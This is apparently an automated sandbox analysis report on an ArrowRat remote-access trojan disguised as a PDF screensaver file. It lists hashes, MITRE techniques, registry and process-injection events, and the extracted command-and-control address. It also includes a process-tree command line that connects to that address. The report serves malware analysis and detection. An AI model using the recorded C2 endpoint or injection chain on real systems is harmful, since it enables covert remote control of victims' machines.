arrowrat | 7a1169c28429d01bf8437122048fee12b9c8bdeae7eb49bd3d4e61965b294fd7

Analysis

max time kernel
121s
max time network
124s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
13-09-2023 22:07

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General

Target

MOQ_T7FIBA00541·PDF .scr
Size

670KB
MD5

48a5e2b45923213e94a82d30db1eb988
SHA1

eb3c3aeb61e6e20b149cbd966f60c81a8215e8b0
SHA256

19fa9896468d7dd79d76fa27b34f66e13b6c5268cdd574c0a78eeb0e3dbeb839
SHA512

13edc7b141a8bd854a07ec70371f6fe59055d1dfe4127e3912992181d983e710f990d0cfcaa294e5da8e37ab757efb93133382625e210c47823885586fc536da
SSDEEP

12288:PBzhfOS3GXJNUwCpoOekXOS6zjwehALsCGlhcBd:phfOS3sJWwvOeYCras

Score

10^/10

arrowrat client persistence rat

Malware Config

Extracted

Family

arrowrat

Botnet

Client

192.159.99.3:1337

Mutex

qawNWRCCU

Signatures

ArrowRat
Remote access tool with various capabilities first seen in late 2021.
rat arrowrat

Modifies Installed Components in the registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-686452656-3203474025-4140627569-1000\Software\Microsoft\Active Setup\Installed Components	explorer.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2188 set thread context of 2520	2188	MOQ_T7FIBA00541·PDF .scr	36
PID 2520 set thread context of 2524	2520	aspnet_compiler.exe	38

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2144	ipconfig.exe
2992	ipconfig.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-686452656-3203474025-4140627569-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686452656-3203474025-4140627569-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-686452656-3203474025-4140627569-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-686452656-3203474025-4140627569-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-686452656-3203474025-4140627569-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2520	aspnet_compiler.exe
2520	aspnet_compiler.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeDebugPrivilege	2520	aspnet_compiler.exe
Token: SeShutdownPrivilege	2504	explorer.exe
Token: SeShutdownPrivilege	2504	explorer.exe
Token: SeShutdownPrivilege	2504	explorer.exe
Token: SeShutdownPrivilege	2504	explorer.exe
Token: SeShutdownPrivilege	2504	explorer.exe
Token: SeShutdownPrivilege	2504	explorer.exe
Token: SeShutdownPrivilege	2504	explorer.exe
Token: SeShutdownPrivilege	2504	explorer.exe
Token: SeShutdownPrivilege	2504	explorer.exe
Token: SeShutdownPrivilege	2504	explorer.exe
Token: SeShutdownPrivilege	2504	explorer.exe

Suspicious use of FindShellTrayWindow 27 IoCs

pid	Process
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe

Suspicious use of SendNotifyMessage 18 IoCs

pid	Process
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe
2504	explorer.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2520	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 41 IoCs

description	pid	Process	procid_target
PID 2188 wrote to memory of 2104	2188	MOQ_T7FIBA00541·PDF .scr	28
PID 2188 wrote to memory of 2104	2188	MOQ_T7FIBA00541·PDF .scr	28
PID 2188 wrote to memory of 2104	2188	MOQ_T7FIBA00541·PDF .scr	28
PID 2188 wrote to memory of 2104	2188	MOQ_T7FIBA00541·PDF .scr	28
PID 2104 wrote to memory of 2144	2104	cmd.exe	30
PID 2104 wrote to memory of 2144	2104	cmd.exe	30
PID 2104 wrote to memory of 2144	2104	cmd.exe	30
PID 2104 wrote to memory of 2144	2104	cmd.exe	30
PID 2188 wrote to memory of 2740	2188	MOQ_T7FIBA00541·PDF .scr	31
PID 2188 wrote to memory of 2740	2188	MOQ_T7FIBA00541·PDF .scr	31
PID 2188 wrote to memory of 2740	2188	MOQ_T7FIBA00541·PDF .scr	31
PID 2188 wrote to memory of 2740	2188	MOQ_T7FIBA00541·PDF .scr	31
PID 2740 wrote to memory of 2992	2740	cmd.exe	33
PID 2740 wrote to memory of 2992	2740	cmd.exe	33
PID 2740 wrote to memory of 2992	2740	cmd.exe	33
PID 2740 wrote to memory of 2992	2740	cmd.exe	33
PID 2188 wrote to memory of 2520	2188	MOQ_T7FIBA00541·PDF .scr	36
PID 2188 wrote to memory of 2520	2188	MOQ_T7FIBA00541·PDF .scr	36
PID 2188 wrote to memory of 2520	2188	MOQ_T7FIBA00541·PDF .scr	36
PID 2188 wrote to memory of 2520	2188	MOQ_T7FIBA00541·PDF .scr	36
PID 2188 wrote to memory of 2520	2188	MOQ_T7FIBA00541·PDF .scr	36
PID 2188 wrote to memory of 2520	2188	MOQ_T7FIBA00541·PDF .scr	36
PID 2188 wrote to memory of 2520	2188	MOQ_T7FIBA00541·PDF .scr	36
PID 2188 wrote to memory of 2520	2188	MOQ_T7FIBA00541·PDF .scr	36
PID 2188 wrote to memory of 2520	2188	MOQ_T7FIBA00541·PDF .scr	36
PID 2520 wrote to memory of 2504	2520	aspnet_compiler.exe	37
PID 2520 wrote to memory of 2504	2520	aspnet_compiler.exe	37
PID 2520 wrote to memory of 2504	2520	aspnet_compiler.exe	37
PID 2520 wrote to memory of 2504	2520	aspnet_compiler.exe	37
PID 2520 wrote to memory of 2524	2520	aspnet_compiler.exe	38
PID 2520 wrote to memory of 2524	2520	aspnet_compiler.exe	38
PID 2520 wrote to memory of 2524	2520	aspnet_compiler.exe	38
PID 2520 wrote to memory of 2524	2520	aspnet_compiler.exe	38
PID 2520 wrote to memory of 2524	2520	aspnet_compiler.exe	38
PID 2520 wrote to memory of 2524	2520	aspnet_compiler.exe	38
PID 2520 wrote to memory of 2524	2520	aspnet_compiler.exe	38
PID 2520 wrote to memory of 2524	2520	aspnet_compiler.exe	38
PID 2520 wrote to memory of 2524	2520	aspnet_compiler.exe	38
PID 2504 wrote to memory of 1700	2504	explorer.exe	40
PID 2504 wrote to memory of 1700	2504	explorer.exe	40
PID 2504 wrote to memory of 1700	2504	explorer.exe	40

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\MOQ_T7FIBA00541·PDF .scr
"C:\Users\Admin\AppData\Local\Temp\MOQ_T7FIBA00541·PDF .scr" /S
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2188
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ipconfig /release
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2104
- - C:\Windows\SysWOW64\ipconfig.exe
    ipconfig /release
    3⤵
    - Gathers network information
    PID:2144
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ipconfig /renew
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2740
- - C:\Windows\SysWOW64\ipconfig.exe
    ipconfig /renew
    3⤵
    - Gathers network information
    PID:2992
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
  C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2520
- - C:\Windows\explorer.exe
    "C:\Windows\explorer.exe"
    3⤵
    - Modifies Installed Components in the registry
    - Modifies registry class
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:2504
  - - C:\Windows\system32\ctfmon.exe
      ctfmon.exe
      4⤵
      PID:1700
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 192.159.99.3 1337 qawNWRCCU
    3⤵
    PID:2524

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2188-18-0x0000000074610000-0x0000000074CFE000-memory.dmp

Filesize
6.9MB

Download
memory/2188-1-0x0000000074610000-0x0000000074CFE000-memory.dmp

Filesize
6.9MB

Download
memory/2188-2-0x0000000000360000-0x00000000003B0000-memory.dmp

Filesize
320KB

Download
memory/2188-3-0x0000000004C70000-0x0000000004CB0000-memory.dmp

Filesize
256KB

Download
memory/2188-4-0x00000000003C0000-0x00000000003FE000-memory.dmp

Filesize
248KB

Download
memory/2188-5-0x00000000022C0000-0x000000000230C000-memory.dmp

Filesize
304KB

Download
memory/2188-6-0x0000000074610000-0x0000000074CFE000-memory.dmp

Filesize
6.9MB

Download
memory/2188-7-0x0000000004C70000-0x0000000004CB0000-memory.dmp

Filesize
256KB

Download
memory/2188-0-0x0000000000AF0000-0x0000000000B9E000-memory.dmp

Filesize
696KB

Download
memory/2504-49-0x0000000003AE0000-0x0000000003AE1000-memory.dmp

Filesize
4KB

Download
memory/2504-45-0x0000000003AE0000-0x0000000003AE1000-memory.dmp

Filesize
4KB

Download
memory/2520-21-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download
memory/2520-14-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/2520-16-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download
memory/2520-13-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download
memory/2520-19-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download
memory/2520-12-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download
memory/2520-22-0x0000000073F20000-0x000000007460E000-memory.dmp

Filesize
6.9MB

Download
memory/2520-8-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download
memory/2520-46-0x0000000073F20000-0x000000007460E000-memory.dmp

Filesize
6.9MB

Download
memory/2520-10-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download
memory/2524-31-0x00000000FFFDE000-0x00000000FFFDF000-memory.dmp

Filesize
4KB

Download
memory/2524-29-0x0000000000400000-0x0000000000418000-memory.dmp

Filesize
96KB

Download
memory/2524-32-0x0000000000400000-0x0000000000418000-memory.dmp

Filesize
96KB

Download
memory/2524-34-0x0000000000400000-0x0000000000418000-memory.dmp

Filesize
96KB

Download
memory/2524-36-0x0000000000400000-0x0000000000418000-memory.dmp

Filesize
96KB

Download
memory/2524-37-0x0000000073F20000-0x000000007460E000-memory.dmp

Filesize
6.9MB

Download
memory/2524-38-0x0000000004940000-0x0000000004980000-memory.dmp

Filesize
256KB

Download
memory/2524-27-0x0000000000400000-0x0000000000418000-memory.dmp

Filesize
96KB

Download
memory/2524-25-0x0000000000400000-0x0000000000418000-memory.dmp

Filesize
96KB

Download
memory/2524-47-0x0000000073F20000-0x000000007460E000-memory.dmp

Filesize
6.9MB

Download
memory/2524-48-0x0000000004940000-0x0000000004980000-memory.dmp

Filesize
256KB

Download
memory/2524-23-0x0000000000400000-0x0000000000418000-memory.dmp

Filesize
96KB

Download